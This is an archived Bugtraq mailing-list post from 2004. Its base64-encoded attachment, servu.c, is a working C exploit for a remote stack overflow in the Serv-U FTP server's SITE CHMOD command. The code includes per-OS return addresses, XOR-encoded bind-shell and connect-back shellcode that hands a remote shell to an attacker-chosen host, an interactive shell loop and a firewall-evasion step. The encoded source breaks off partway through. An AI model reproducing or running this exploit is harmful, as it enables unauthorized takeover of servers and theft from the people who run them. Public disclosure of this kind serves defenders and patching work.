[33269] in bugtraq

home help back first fref pref prev next nref lref last post

[HUC] Serv-U FTPD 3.x/4.x "SITE CHMOD" Command remote exploit V1.0

daemon@ATHENA.MIT.EDU (lion)
Tue Jan 27 14:13:19 2004

Message-ID: <20040126221648.9505.qmail@mail.securityfocus.com>
Date: Tue, 27 Jan 2004 06:42:21 +0800
From: "lion" <lion@cnhonker.net>
To: "bugtraq" <bugtraq@securityfocus.com>
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="=====001_Dragon745453014331_====="

--=====001_Dragon745453014331_=====
Content-Type: text/plain;
	charset="gb2312"
Content-Transfer-Encoding: base64

LyoNCiotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLQ0KKiANCiogU2VydnUuYyAtIFNlcnYtVSBGVFBEIDMueC80Lngg
IlNJVEUgQ0hNT0QiIENvbW1hbmQNCiogUmVtb3RlIHN0YWNrIGJ1ZmZlciBvdmVyZmxvdyBleHBs
b2l0DQoqDQoqIENvcHlyaWdodCAoQykgMjAwNCBIVUMgQWxsIFJpZ2h0cyBSZXNlcnZlZC4NCioN
CiogQXV0aG9yICAgOiBsaW9uDQoqICAgICAgICAgIDogbGlvbkBjbmhvbmtlci5uZXQNCiogICAg
ICAgICAgOiBodHRwOi8vd3d3LmNuaG9ua2VyLmNvbQ0KKiBEYXRlICAgICA6IDIwMDQtMDEtMjUN
CiogICAgICAgICAgOiAyMDA0LTAxLTI1IHYxLjAgQ2FuIGF0dGFjayBTZXJ2LVUgdjMuMC4wLjIw
fnY0LjEuMC4xMQ0KKiBUZXN0ZWQgICA6IFdpbmRvd3MgMjAwMCBTZXJ2ZXIgRU4vR0INCiogICAg
ICAgICAgOgkgKyBTZXJ2LVUgdjMuMC4wLjIwfnY0LjEuMC4xMQ0KKiBOb3RpY2UgICA6ICoqKiBC
dWcgZmluZCBieSBra3FxIGtrcXFAMHg1NTcub3JnICoqKg0KKiAgICAgICAgICA6ICoqKiBZb3Ug
bmVlZCBhIHZhbGlkIGFjY291bnQgYW5kIGEgd3JpdGFibGUgZGlyZWN0b3J5LiAqKioNCiogQ29t
cGxpZSAgOiBjbCBTZXJ2dS5jDQoqIFVzYWdlCSAgIDogU2VydnUgPC1pIGlwPiA8LXQgdHlwZT4g
Wy11IHVzZXJdIFstcCBwYXNzXSBbLWQgZGlyXSBbLWYgZnRwcG9ydF0gWy1jIGNiaG9zdF0gWy1z
IHNoZWxscG9ydF0NCiotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiovDQoNCqGhoaGhoaGhoaGhoaGhoaFsaW9u
DQqhoaGhoaGhoaGhoaGhoaGhbGlvbkBjbmhvbmtlci5uZXQNCqGhoaGhoaGhoaGhoaGhoaGhoaGh
MjAwNC0wMS0yNw0K
--=====001_Dragon745453014331_=====
Content-Type: application/octet-stream;
	name="servu.c"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="servu.c"

LyoNCiotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLQ0KKiANCiogU2VydnUuYyAtIFNlcnYtVSBGVFBEIDMueC80Lngg
IlNJVEUgQ0hNT0QiIENvbW1hbmQNCiogUmVtb3RlIHN0YWNrIGJ1ZmZlciBvdmVyZmxvdyBleHBs
b2l0DQoqDQoqIENvcHlyaWdodCAoQykgMjAwNCBIVUMgQWxsIFJpZ2h0cyBSZXNlcnZlZC4NCioN
CiogQXV0aG9yICAgOiBsaW9uDQoqICAgICAgICAgIDogbGlvbkBjbmhvbmtlci5uZXQNCiogICAg
ICAgICAgOiBodHRwOi8vd3d3LmNuaG9ua2VyLmNvbQ0KKiBEYXRlICAgICA6IDIwMDQtMDEtMjUN
CiogICAgICAgICAgOiAyMDA0LTAxLTI1IHYxLjAgQ2FuIGF0dGFjayBTZXJ2LVUgdjMuMC4wLjIw
fnY0LjEuMC4xMQ0KKiBUZXN0ZWQgICA6IFdpbmRvd3MgMjAwMCBTZXJ2ZXIgRU4vR0INCiogICAg
ICAgICAgOgkgKyBTZXJ2LVUgdjMuMC4wLjIwfnY0LjEuMC4xMQ0KKiBOb3RpY2UgICA6ICoqKiBC
dWcgZmluZCBieSBra3FxIGtrcXFAMHg1NTcub3JnICoqKg0KKiAgICAgICAgICA6ICoqKiBZb3Ug
bmVlZCBhIHZhbGlkIGFjY291bnQgYW5kIGEgd3JpdGFibGUgZGlyZWN0b3J5LiAqKioNCiogQ29t
cGxpZSAgOiBjbCBTZXJ2dS5jDQoqIFVzYWdlCSAgIDogU2VydnUgPC1pIGlwPiA8LXQgdHlwZT4g
Wy11IHVzZXJdIFstcCBwYXNzXSBbLWQgZGlyXSBbLWYgZnRwcG9ydF0gWy1jIGNiaG9zdF0gWy1z
IHNoZWxscG9ydF0NCiotLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiovDQoNCiNpbmNsdWRlIDx3aW5zb2NrMi5o
Pg0KI2luY2x1ZGUgPHdpbmRvd3MuaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0
ZGxpYi5oPg0KDQojcHJhZ21hIGNvbW1lbnQobGliLCAid3MyXzMyIikNCg0KLy8gZm9yIGJpbmQg
c2hlbGxjb2RlDQojZGVmaW5lIEJJTkRfT0ZGU0VUCQk5MQ0KDQovLyBmb3IgY29ubmVjdGJhY2sg
c2hlbGxjb2RlDQojZGVmaW5lIFBPUlRfT0ZGU0VUCQk5NQ0KI2RlZmluZSBJUF9PRkZTRVQJCTg4
DQoNCiNkZWZpbmUgU0VIX09GRlNFVAkJMHgxOTMJLy92My4wLjAuMjB+djQuMS4wLjExDQovLyNk
ZWZpbmUJU0VIX09GRlNFVAkJMHgxMzMgICAgICAgICAgIAkvLyB3b3JrIG9uIHYzLjAuMC4xNn52
My4wLjAuMTksIGZvciBjb25uZWN0YmFjayBzaGVsbGNvZGUNCiNkZWZpbmUgTUFYX0xFTgkJCTIw
NDgNCiNkZWZpbmUgSk1QX09WRVIJCSJceGViXHgwNlx4ZWJceDA2Ig0KI2RlZmluZQlWRVJTSU9O
CQkJIjEuMCINCg0Kc3RydWN0DQp7DQoJRFdPUkQJZHdKTVA7DQoJY2hhcgkqc3pEZXNjcmlwdGlv
bjsNCn10YXJnZXRzW10gPQ0Kew0KCXsweDdmZmE0YTFiLCJTZXJ2LVUgdjMuMC4wLjIwfnY0LjEu
MC4xMSAgR0IgICAgIDJLL1hQICBBTEwifSwJCS8vZm9yIGFsbCBHQiB3aW4yMDAwIGFuZCB3aW54
cA0KLy8JezB4NzRGRDY5QTksIlNlcnYtVSB2My4wLjAuMjB+djQuMS4wLjExICBHQiAgICAgMksg
ICAgIFNQMy9TUDQifSwJLy93c29jazMyLmRsbCBqbXAgZWJ4IGFkZHINCi8vCXsweDcxYTQ2OWFk
LCJTZXJ2LVUgdjMuMC4wLjIwfnY0LjEuMC4xMSAgR0IgICAgIFhQICAgICBTUDAvU1AxIn0sCS8v
d3NvY2szMi5kbGwgam1wIGVieCBhZGRyDQovLwl7MHg3N2U0NWYxNywiU2Vydi1VIHYzLjAuMC4y
MH52NC4xLjAuMTEgIEdCL0JHICAySyAgICAgU1A0In0sCQkvL3VzZXIzMi5kbGwgam1wIGVieCBh
ZGRyDQoJezB4N2ZmYTIxODYsIlNlcnYtVSB2My4wLjAuMjB+djQuMS4wLjExICBCRyAgICAgMksv
WFAgIEFMTCJ9LAkJLy9mb3IgYWxsIEJHIHdpbjIwMDAgYW5kIHdpbnhwCQ0KLy8JezB4NmRlYzY3
MTMsIlNlcnYtVSB2My4wLjAuMjB+djQuMS4wLjExICBCRyAgICAgMksgICAgIFNQNCJ9LAkJLy9z
ZXR1cGFwaS5kbGwgam1wIGVieCBhZGRyDQoJezB4NkRFRTY3MTMsIlNlcnYtVSB2My4wLjAuMjB+
djQuMS4wLjExICBLUiAgICAgMksgICAgIFNQNCJ9LAkJLy9zZXR1cGFwaS5kbGwgam1wIGVieCBh
ZGRyDQoJezB4Nzc4ODY3MTMsIlNlcnYtVSB2My4wLjAuMjB+djQuMS4wLjExICBFTiAgICAgMksg
ICAgIFNQNCJ9LAkJLy9zZXR1cGFwaS5kbGwgam1wIGVieCBhZGRyDQoJezB4NzZiNDJhM2EsIlNl
cnYtVSB2My4wLjAuMjB+djQuMS4wLjExICBFTiAgICAgWFAgICAgIFNQMSJ9LA0KLy8JezB4MTIz
NDU2NzgsIlNlcnYtVSB2My4wLjAuMjB+djQuMS4wLjExIn0sICAgICAgICAgDQp9LHY7DQoNCg0K
dW5zaWduZWQgY2hhcgkqc3pTZW5kWzRdOw0KdW5zaWduZWQgY2hhcglzekNvbW1hbmRbTUFYX0xF
Tl07DQpjaGFyCQlzekRpcmVjdG9yeVsweDEwMF07DQoNCi8vIDI4IGJ5dGVzIGRlY29kZSBieSBs
aW9uLCBkb24ndCBjaGFuZ2UgdGhpcy4NCnVuc2lnbmVkIGNoYXIgZGVjb2RlW109DQoiXHhCRVx4
NkRceDY5XHg2Rlx4NkVceDRFXHhCRlx4NkRceDY5XHgzMFx4NkVceDRGXHg0M1x4MzlceDNCXHg3
NSINCiJceEZCXHg0Qlx4ODBceDMzXHg5M1x4MzlceDczXHhGQ1x4NzVceEY3XHhGRlx4RDMiOw0K
DQovLyBTaGVsbGNvZGUgc3RhcnQgc2lnbiwgdXNlIGZvciBkZWNvZGUsIGRvbid0IGNoYW5nZSB0
aGlzLg0KdW5zaWduZWQgY2hhciBzY19zdGFydFtdPQ0KImxpb24iOyANCg0KLy8gU2hlbGxjb2Rl
IGVuZCBzaWduLCB1c2UgZm9yIGRlY29kZSwgZG9uJ3QgY2hhbmdlIHRoaXMuDQp1bnNpZ25lZCBj
aGFyIHNjX2VuZFtdPQ0KImxpMG4iOyANCg0KLy8gMzExIGJ5dGVzIGJpbmQgc2hlbGxjb2RlIGJ5
IGxpb24gKHhvciB3aXRoIDB4OTMpDQp1bnNpZ25lZCBjaGFyIHNjW109DQoiXHg3QVx4OTZceDky
XHg5M1x4OTNceENDXHhGN1x4MzJceEEzXHg5M1x4OTNceDkzXHgxOFx4RDNceDlGXHgxOCINCiJc
eEUzXHg4Rlx4M0VceDE4XHhGQlx4OUJceDE4XHg2NFx4RjlceDk3XHhDQVx4N0JceDM2XHg5M1x4
OTNceDkzIg0KIlx4NzFceDZBXHhGQlx4QTBceEExXHg5M1x4OTNceEZCXHhFNFx4RTBceEExXHhD
Q1x4QzdceDZDXHg4NVx4MTgiDQoiXHg3Qlx4RjlceDk1XHhDQVx4N0JceDFGXHg5M1x4OTNceDkz
XHg3MVx4NkFceDEyXHg3Rlx4MDNceDkyXHg5MyINCiJceDkzXHhDN1x4RkJceDkyXHg5Mlx4OTNc
eDkzXHg2Q1x4QzVceDgzXHhDM1x4QzNceEMzXHhDM1x4RjlceDkyIg0KIlx4RjlceDkxXHg2Q1x4
QzVceDg3XHgxOFx4NEJceDU0XHg5NFx4OTFceDkzXHg5M1x4QTZceEEwXHg1M1x4MUEiDQoiXHhE
NFx4OTdceEY5XHg4M1x4QzRceEMwXHg2Q1x4QzVceDhCXHhGOVx4OTJceEMwXHg2Q1x4QzVceDhG
XHhDMyINCiJceEMzXHhDMFx4NkNceEM1XHhCM1x4MThceDRCXHhBMFx4NTNceEZCXHhGMFx4RkVc
eEY3XHg5M1x4MUFceEY1Ig0KIlx4QTNceDEwXHg3Rlx4QzdceDE4XHg2Rlx4RjlceDg3XHhDQVx4
MUFceDk3XHgxQ1x4NzFceDY4XHg1NVx4RDQiDQoiXHg4M1x4RDdceDZEXHhENFx4QUZceDZEXHhE
NFx4QUVceDFBXHhDQ1x4REJceDFBXHhDQ1x4REZceDFBXHhDQyINCiJceEMzXHgxRVx4RDdceEI3
XHg4M1x4QzRceEMzXHhDMlx4QzJceEMyXHhGOVx4OTJceEMyXHhDMlx4NkNceEU1Ig0KIlx4QTNc
eEMyXHg2Q1x4QzVceDk3XHgxOFx4NUZceEY5XHg2Q1x4NkNceEEyXHg2Q1x4QzVceDlCXHhDMFx4
NkMiDQoiXHhDNVx4QjdceDZDXHhDNVx4OUZceEMyXHhDNVx4MThceEU2XHhBRlx4MThceEU3XHhC
RFx4RUJceDkwXHg2NiINCiJceEM1XHgxOFx4RTVceEIzXHg5MFx4NjZceEEwXHg1QVx4REFceEQy
XHgzRVx4OTBceDU2XHhBMFx4NDhceDlDIg0KIlx4MkRceDgzXHhBOVx4NDVceEU3XHg5Qlx4NTJc
eDU4XHg5RVx4OTBceDQ5XHhEM1x4NzhceDYyXHhBOFx4OEMiDQoiXHhFNlx4NzRceENEXHgxOFx4
Q0RceEI3XHg5MFx4NEVceEY1XHgxOFx4OUZceEQ4XHgxOFx4Q0RceDhGXHg5MCINCiJceDRFXHgx
OFx4OTdceDE4XHg5MFx4NTZceDM4XHhDRFx4Q0FceDUwXHg3Qlx4NjVceDZEXHg2Q1x4NkNceDFE
Ig0KIlx4RERceDlEXHg3Rlx4RTFceDZEXHgyMFx4ODVceDNFXHg0QVx4OTZceDVEXHhFRFx4NEJc
eDcxXHhFMFx4NTgiDQoiXHg3RVx4NkZceEE4XHg0QVx4OUFceDY2XHgzRVx4MzdceDg5XHhFM1x4
NTRceDM3XHgzRVx4QkRceDdBXHg3NiINCiJceERBXHgxNVx4REFceDc0XHhFQVx4NTVceEVBIjsN
Cg0KLy8gMjk0IGJ5dGVzIGNvbm5lY3RiYWNrIHNoZWxsY29kZSBieSBsaW9uICh4b3Igd2l0aCAw
eDkzKQ0KdW5zaWduZWQgY2hhciBjYnNjW109DQoiXHg3QVx4NkZceDkzXHg5M1x4OTNceENDXHhG
N1x4MzJceEEzXHg5M1x4OTNceDkzXHgxOFx4RDNceDlGXHgxOCINCiJceEUzXHg4Rlx4M0VceDE4
XHhGQlx4OUJceDE4XHg2NFx4RjlceDk3XHhDQVx4N0JceDBGXHg5M1x4OTNceDkzIg0KIlx4NzFc
eDZBXHhGQlx4QTBceEExXHg5M1x4OTNceEZCXHhFNFx4RTBceEExXHhDQ1x4QzdceDZDXHg4NVx4
MTgiDQoiXHg3Qlx4RjlceDk3XHhDQVx4N0JceDEwXHg5M1x4OTNceDkzXHg3MVx4NkFceDEyXHg3
Rlx4MDNceDkyXHg5MyINCiJceDkzXHhDN1x4RkJceDkyXHg5Mlx4OTNceDkzXHg2Q1x4QzVceDgz
XHhDM1x4QzNceEMzXHhDM1x4RjlceDkyIg0KIlx4RjlceDkxXHg2Q1x4QzVceDg3XHgxOFx4NEJc
eEZCXHhFQ1x4OTNceDkzXHg5Mlx4RkJceDkxXHg5M1x4OTMiDQoiXHhBNlx4MThceDVGXHhGOVx4
ODNceEMyXHhDMFx4NkNceEM1XHg4Qlx4MTZceDUzXHhFNlx4RDhceEEwXHg1MyINCiJceEZCXHhG
MFx4RkVceEY3XHg5M1x4MUFceEY1XHhBM1x4MTBceDdGXHhDN1x4MThceDZGXHhGOVx4ODNceENB
Ig0KIlx4MUFceDk3XHgxQ1x4NzFceDY4XHg1NVx4RDRceDgzXHhEN1x4NkRceEQ0XHhBRlx4NkRc
eEQ0XHhBRVx4MUEiDQoiXHhDQ1x4REJceDFBXHhDQ1x4REZceDFBXHhDQ1x4QzNceDFFXHhEN1x4
QjdceDgzXHhDNFx4QzNceEMyXHhDMiINCiJceEMyXHhGOVx4OTJceEMyXHhDMlx4NkNceEU1XHhB
M1x4QzJceDZDXHhDNVx4OTdceDE4XHg1Rlx4RjlceDZDIg0KIlx4NkNceEEyXHg2Q1x4QzVceDlC
XHhDMFx4NkNceEM1XHg4Rlx4NkNceEM1XHg5Rlx4QzJceEM1XHgxOFx4RTYiDQoiXHhBRlx4MThc
eEU3XHhCRFx4RUJceDkwXHg2Nlx4QzVceDE4XHhFNVx4QjNceDkwXHg2Nlx4QTBceDVBXHhEQSIN
CiJceEQyXHgzRVx4OTBceDU2XHhBMFx4NDhceDlDXHgyRFx4ODNceEE5XHg0NVx4RTdceDlCXHg1
Mlx4NThceDlFIg0KIlx4OTBceDQ5XHhEM1x4NzhceDYyXHhBOFx4OENceEU2XHg3NFx4Q0RceDE4
XHhDRFx4QjdceDkwXHg0RVx4RjUiDQoiXHgxOFx4OUZceEQ4XHgxOFx4Q0RceDhGXHg5MFx4NEVc
eDE4XHg5N1x4MThceDkwXHg1Nlx4MzhceENEXHhDQSINCiJceDUwXHg3Qlx4NkNceDZEXHg2Q1x4
NkNceDFEXHhERFx4OURceDdGXHhFMVx4NkRceDIwXHg4NVx4M0VceDRBIg0KIlx4OTZceDVEXHhF
RFx4NEJceDcxXHhFMFx4NThceDdFXHg2Rlx4QThceDRBXHg5QVx4NjZceDNFXHg3Rlx4NkEiDQoi
XHgzOVx4RjNceDc0XHhFQVx4NTVceEVBIjsNCg0Kdm9pZCB1c2FnZShjaGFyICpwKQ0Kew0KCWlu
dAlpOw0KCXByaW50ZiggIlVzYWdlOlx0JXNcdDwtaSBpcD4gPC10IHR5cGU+XG4iDQoJCSJcdFx0
Wy11IHVzZXJdIFstcCBwYXNzXSBbLWQgZGlyXVxuIg0KCQkiXHRcdFstZiBmdHBwb3J0XSBbLWMg
Y2Job3N0XSBbLXMgc2hlbGxwb3J0XVxuXG4iDQoJCSJbdHlwZV06XG4iICwgcCk7CQ0KCWZvcihp
PTA7aTxzaXplb2YodGFyZ2V0cykvc2l6ZW9mKHYpO2krKykNCgl7DQoJCXByaW50ZigiXHQlZFx0
MHgleFx0JXNcbiIsIGksIHRhcmdldHNbaV0uZHdKTVAsIHRhcmdldHNbaV0uc3pEZXNjcmlwdGlv
bik7DQoJfQ0KfQ0KDQovKiByaXBwZWQgZnJvbSBURVNPIGNvZGUgYW5kIG1vZGlmZWQgYnkgZXk0
cyBmb3Igd2luMzIgKi8NCnZvaWQgc2hlbGwgKGludCBzb2NrKQ0Kew0KCWludCAgICAgbDsNCglj
aGFyICAgIGJ1Zls1MTJdOw0KCXN0cnVjdAl0aW1ldmFsIHRpbWU7DQoJdW5zaWduZWQgbG9uZwl1
bFsyXTsNCg0KCXRpbWUudHZfc2VjID0gMTsNCgl0aW1lLnR2X3VzZWMgPSAwOw0KDQoJd2hpbGUg
KDEpDQoJew0KCQl1bFswXSA9IDE7DQoJCXVsWzFdID0gc29jazsNCg0KCQlsID0gc2VsZWN0ICgw
LCAoZmRfc2V0ICopJnVsLCBOVUxMLCBOVUxMLCAmdGltZSk7DQoJCWlmKGwgPT0gMSkNCgkJew0K
CQkJbCA9IHJlY3YgKHNvY2ssIGJ1Ziwgc2l6ZW9mIChidWYpLCAwKTsNCgkJCWlmIChsIDw9IDAp
DQoJCQl7DQoJCQkJcHJpbnRmICgiWy1dIENvbm5lY3Rpb24gY2xvc2VkLlxuIik7DQoJCQkJcmV0
dXJuOw0KCQkJfQ0KCQkJbCA9IHdyaXRlICgxLCBidWYsIGwpOw0KCQkJaWYgKGwgPD0gMCkNCgkJ
CXsNCgkJCQlwcmludGYgKCJbLV0gQ29ubmVjdGlvbiBjbG9zZWQuXG4iKTsNCgkJCQlyZXR1cm47
DQoJCQl9DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQlsID0gcmVhZCAoMCwgYnVmLCBzaXplb2YgKGJ1
ZikpOw0KCQkJaWYgKGwgPD0gMCkNCgkJCXsNCgkJCQlwcmludGYoIlstXSBDb25uZWN0aW9uIGNs
b3NlZC5cbiIpOw0KCQkJCXJldHVybjsNCgkJCX0NCgkJCWwgPSBzZW5kKHNvY2ssIGJ1ZiwgbCwg
MCk7DQoJCQlpZiAobCA8PSAwKQ0KCQkJew0KCQkJCXByaW50ZigiWy1dIENvbm5lY3Rpb24gY2xv
c2VkLlxuIik7DQoJCQkJcmV0dXJuOw0KCQkJfQ0KCQl9DQoJfQ0KfQ0KDQp2b2lkIG1haW4oaW50
IGFyZ2MsIGNoYXIgKiphcmd2KQ0Kew0KCXN0cnVjdAlzb2NrYWRkcl9pbiBzYSwgc2VydmVyLCBj
bGllbnQ7DQoJV1NBREFUQQl3c2Q7DQoJU09DS0VUCXMsIHMyLCBzMzsNCglpbnQJaUVyciwgcmV0
LCBsZW47DQoJY2hhcglzelJlY3ZCdWZmW01BWF9MRU5dOw0KCWludAlpLCBqLCBpVHlwZTsNCglp
bnQJaVBvcnQ9MjE7DQoJY2hhcgkqaXA9TlVMTCwgKnBVc2VyPSJmdHAiLCAqcFBhc3M9ImZ0cEBm
dHAuY29tIiwgKmNiSG9zdD1OVUxMOw0KCWNoYXIJdXNlclsxMjhdLCBwYXNzWzEyOF07DQoJQk9P
TAliQ2I9RkFMU0UsIGJMb2NhbD1UUlVFOw0KCXVuc2lnbmVkIHNob3J0CXNocG9ydD01Mywgc2hw
b3J0Mj0wOw0KCXVuc2lnbmVkIGxvbmcJY2JpcDsNCgl1bnNpZ25lZCBpbnQJdGltZW91dD01MDAw
LCBSZXVzZTsNCgljaGFyCXBlbmV0cmF0ZVsyNTVdLGNiSG9zdDJbMjBdOw0KCWludCBzZWhfb2Zm
c2V0Ow0KCQ0KCXByaW50ZiggIlNlcnYtVSBGVFBEIDMueC80LnggXCJTSVRFIENITU9EXCIgcmVt
b3RlIG92ZXJmbG93IGV4cGxvaXQgViVzXHJcbiINCgkJIkJ1ZyBmaW5kIGJ5IGtrcXEga2txcUAw
eDU1Ny5vcmcsIENvZGUgQnkgbGlvbiAobGlvbkBjbmhvbmtlci5uZXQpXHJcbiINCgkJIldlbGNv
bWUgdG8gSFVDIHdlYnNpdGUgaHR0cDovL3d3dy5jbmhvbmtlci5jb21cclxuXG4iDQoJCSAJLCBW
RVJTSU9OKTsNCg0KCXNlaF9vZmZzZXQgPSBTRUhfT0ZGU0VUOw0KCQ0KCWlmKGFyZ2MgPCA0KQ0K
CXsNCgkJdXNhZ2UoYXJndlswXSk7DQoJCXJldHVybjsNCgl9DQoNCglmb3IoaT0xO2k8YXJnYztp
Kz0yKQ0KCXsNCgkJaWYoc3RybGVuKGFyZ3ZbaV0pICE9IDIpDQoJCXsNCgkJCXVzYWdlKGFyZ3Zb
MF0pOw0KCQkJcmV0dXJuOw0KCQl9DQoJCS8vIGNoZWNrIHBhcmFtZXRlcg0KCQlpZihpID09IGFy
Z2MtMSkNCgkJew0KCQkJdXNhZ2UoYXJndlswXSk7DQoJCQlyZXR1cm47DQoJCX0NCgkJc3dpdGNo
KGFyZ3ZbaV1bMV0pDQoJCXsNCgkJCWNhc2UgJ2knOg0KCQkJCWlwPWFyZ3ZbaSsxXTsNCgkJCQli
cmVhazsNCgkJCWNhc2UgJ3QnOg0KCQkJCWlUeXBlID0gYXRvaShhcmd2W2krMV0pOw0KCQkJCWJy
ZWFrOw0KCQkJY2FzZSAnZic6DQoJCQkJaVBvcnQ9YXRvaShhcmd2W2krMV0pOw0KCQkJCWJyZWFr
Ow0KCQkJY2FzZSAncCc6DQoJCQkJcFBhc3MgPSBhcmd2W2krMV07DQoJCQkJYnJlYWs7DQoJCQlj
YXNlICd1JzoNCgkJCQlwVXNlcj1hcmd2W2krMV07DQoJCQkJYnJlYWs7DQoJCQljYXNlICdjJzoN
CgkJCQljYkhvc3Q9YXJndltpKzFdOw0KCQkJCWJDYj1UUlVFOw0KCQkJCWJyZWFrOw0KCQkJY2Fz
ZSAncyc6DQoJCQkJc2hwb3J0PWF0b2koYXJndltpKzFdKTsNCgkJCQlicmVhazsNCgkJCWNhc2Ug
J2QnOg0KCQkJCWlmKGFyZ3ZbaSsxXVswXSAhPSAnLycpDQoJCQkJCXN0cmNweShzekRpcmVjdG9y
eSwgIi8iKTsNCgkJCQlzdHJuY2F0KHN6RGlyZWN0b3J5LCBhcmd2W2krMV0sIHNpemVvZihzekRp
cmVjdG9yeSktMHgyMCk7DQoJCQkJDQoJCQkJaWYoc3pEaXJlY3Rvcnlbc3RybGVuKHN6RGlyZWN0
b3J5KS0xXSAhPSAnLycpDQoJCQkJCXN0cmNhdChzekRpcmVjdG9yeSwgIi8iKTsNCgkJCQkJDQoJ
CQkJLy8gY29ycmVjdCB0aGUgZGlyZWN0b3J5IGxlbg0KCQkJCWZvcihqPTA7ajwoc3RybGVuKHN6
RGlyZWN0b3J5KS0xKSU4O2orKykNCgkJCQkJc3RyY2F0KHN6RGlyZWN0b3J5LCAieCIpOw0KCQkJ
CQkNCgkJCQkvL3ByaW50ZigiJWQ6JXNcclxuIiwgc3RybGVuKHN6RGlyZWN0b3J5KSwgc3pEaXJl
Y3RvcnkpOw0KCQkJCXNlaF9vZmZzZXQgPSBzZWhfb2Zmc2V0IC0gc3RybGVuKHN6RGlyZWN0b3J5
KSsxOw0KCQkJCWJyZWFrOw0KCQl9DQoJfQ0KDQoJaWYoKCFpcCkgfHwgKCF1c2VyKSB8fCAoIXBh
c3MpKQ0KCXsNCgkJdXNhZ2UoYXJndlswXSk7DQoJCXByaW50ZigiWy1dIEludmFsaWQgcGFyYW1l
dGVyLlxuIik7DQoJCXJldHVybjsNCgl9DQoNCglpZiggKGlUeXBlPDApIHx8IChpVHlwZT49c2l6
ZW9mKHRhcmdldHMpL3NpemVvZih2KSkgKQ0KCXsNCgkJdXNhZ2UoYXJndlswXSk7DQoJCXByaW50
ZigiWy1dIEludmFsaWQgdHlwZS5cbiIpOw0KCQlyZXR1cm47DQoJfQ0KDQoJaWYoaVBvcnQgPDAg
fHwgaVBvcnQgPjY1NTM1IHx8IHNocG9ydCA8MCB8fCBzaHBvcnQgPiA2NTUzNSkNCgl7DQoJCXVz
YWdlKGFyZ3ZbMF0pOw0KCQlwcmludGYoIlstXSBJbnZhbGlkIHBvcnQuXG4iKTsNCgkJcmV0dXJu
Ow0KCX0NCgkNCglfc25wcmludGYodXNlciwgc2l6ZW9mKHVzZXIpLTEsICJVU0VSICVzXHJcbiIs
IHBVc2VyKTsNCgl1c2VyW3NpemVvZih1c2VyKS0xXT0nXDAnOw0KCV9zbnByaW50ZihwYXNzLCBz
aXplb2YocGFzcyktMSwgIlBBU1MgJXNcclxuIiwgcFBhc3MpOw0KCXBhc3Nbc2l6ZW9mKHBhc3Mp
LTFdPSdcMCc7DQoJc3pTZW5kWzBdID0gdXNlcjsJLy91c2VyDQoJc3pTZW5kWzFdID0gcGFzczsJ
Ly9wYXNzCQ0KCXN6U2VuZFsyXSA9IHBlbmV0cmF0ZTsJLy9wZW50cmF0ZQ0KCXN6U2VuZFszXSA9
IHN6Q29tbWFuZDsJLy9zaGVsbGNvZGUNCgkNCgkvLyBQZW5ldHJhdGUgdGhyb3VnaCB0aGUgZmly
ZXdhbGwuDQoJaWYoYkNiICYmIHNocG9ydCA+IDEwMjQpDQoJew0KCQlzdHJuY3B5KGNiSG9zdDIs
IGNiSG9zdCwgMjApOw0KCQlmb3IoaT0wO2k8c3RybGVuKGNiSG9zdCk7IGkrKykNCgkJew0KCQkJ
aWYoY2JIb3N0W2ldID09ICcuJykNCgkJCQljYkhvc3QyW2ldID0gJywnOw0KCQl9DQoJCQ0KCQlz
cHJpbnRmKHBlbmV0cmF0ZSwgIlBPUlQgJXMsJWQsJWRcclxuIiwgY2JIb3N0Miwgc2hwb3J0LzI1
Niwgc2hwb3J0JTI1Nik7DQoNCgkJLy9wcmludGYoIiVzIiwgcGVuZXRyYXRlKTsNCgl9DQoJZWxz
ZQ0KCXsNCgkJc3ByaW50ZihwZW5ldHJhdGUsIlRZUEUgSVxyXG4iKTsJCQ0KCX0NCg0KCS8vIGZp
bGwgdGhlICJzaXRlIGNobW9kIiBjb21tYW5kDQoJc3RyY3B5KHN6Q29tbWFuZCwgInNpdGUgY2ht
b2QgNzc3ICIpOw0KCQ0KCS8vIGZpbGwgdGhlIGRpcmVjdG9yeQ0KCWlmKHN6RGlyZWN0b3J5WzBd
KQ0KCQlzdHJjYXQoc3pDb21tYW5kLCBzekRpcmVjdG9yeSk7DQoNCgkvLyBmaWxsIHRoZSBlZ2cN
Cglmb3IoaT0wO2k8c2VoX29mZnNldCU4O2krKykNCgkJc3RyY2F0KHN6Q29tbWFuZCwgIlx4OTAi
KTsNCgkvL3N0cmNhdChzekNvbW1hbmQsICJCQkJCIik7DQoJDQoJLy8gZmlsbCB0aGUgc2VoDQoJ
Zm9yKGk9MDtpPD0oc2VoX29mZnNldC84KSo4KzB4MjA7aSs9OCkNCgl7DQoJCXN0cmNhdChzekNv
bW1hbmQsIEpNUF9PVkVSKTsNCgkJbWVtY3B5KCZzekNvbW1hbmRbc3RybGVuKHN6Q29tbWFuZCld
LCAmdGFyZ2V0c1tpVHlwZV0uZHdKTVAsIDQpOw0KCX0NCgkJDQoJLy8gZmlsbCB0aGUgZGVjb2Rl
DQoJc3RyY2F0KHN6Q29tbWFuZCwgZGVjb2RlKTsNCg0KCS8vIGZpbGwgdGhlIHNoZWxsY29kZSBz
dGFydAlzaWduDQoJc3RyY2F0KHN6Q29tbWFuZCwgc2Nfc3RhcnQpOw0KDQoJLy8gZmlsbCB0aGUg
c2hlbGxjb2RlDQoJaWYoYkNiKQ0KCXsNCgkJLy8gY29ubmVjdGJhY2sgc2hlbGxjb2RlDQoJCXNo
cG9ydDIgPSBodG9ucyhzaHBvcnQpXih1X3Nob3J0KTB4OTM5MzsNCgkJY2JpcCA9IGluZXRfYWRk
